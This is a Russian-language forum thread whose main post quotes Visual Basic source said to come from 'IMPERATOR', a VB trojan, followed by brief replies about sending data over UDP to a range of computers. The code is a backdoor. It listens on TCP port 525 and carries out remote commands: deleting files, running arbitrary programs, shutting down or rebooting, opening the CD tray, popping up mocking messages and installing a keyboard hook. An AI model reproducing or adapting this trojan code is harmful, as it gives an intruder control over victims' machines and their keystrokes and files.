FleX_2004 писал(а):Private Sub Form_Load()
On Error Resume Next
Msg = False
DF = False
OF = False
Net.LocalPort = 525
Net.Listen
End Sub
Private Sub Net_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next' здесь проверяешь если net.remoteip = то что нужно тогда ....
If Net.State <> sckClosed Then Net.Close
Net.Accept requestID
End Sub
Private Sub Net_DataArrival(ByVal bytesTotal As Long) 'Net это название Winsock1
On Error Resume Next
Dim Comedata As String
Net.GetData Comedata
If DF = True Then DF = False: Kill Comedata
If OF = True Then OF = False: Shell Comedata, vbNormalFocus
If Msg = True Then Msg = False: MsgBox Comedata, 32, "Я идиот! Убейте меня, кто-нибудь!????": SText.Text = SText.Text & " (???? Я идиот! Убейте меня, кто-нибудь!???? Я идиот! Убейте меня, кто-нибудь!????) ": Net.SendData SText.Text
If Comedata = "IamThere" Then Net.SendData "Ready": SetHook Me, HFKeyUp
If Comedata = "Wait" Then RemoveHook: Net.Close: Net.LocalPort = 525: Net.Listen
If Comedata = "OpenCD" Then OpenCD
If Comedata = "CloseCD" Then CloseCD
If Comedata = "ShutDown" Then Unload Me: ExitWindowsEx EWX_SHUTDOWN, 0&
If Comedata = "ReBoot" Then Unload Me: ExitWindowsEx EWX_REBOOT, 0&
If Comedata = "Sleep" Then SetSystemPowerState 0&, 0&
If Comedata = "MsgBox" Then Msg = True
If Comedata = "DeleteFile" Then DF = True
If Comedata = "OpenFile" Then OF = True
End Sub
ЗЫ. Выдрал тебе из проги IMPERATOR - троян на VB ...
Это что получается к каждому компу из диапазона коннектится по очереди и отправлять, так что ли? Может есть менее гиморное решение?!
KDima писал(а):Для UDP все че тебе отправленно будет доходить на один сокет...
Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 62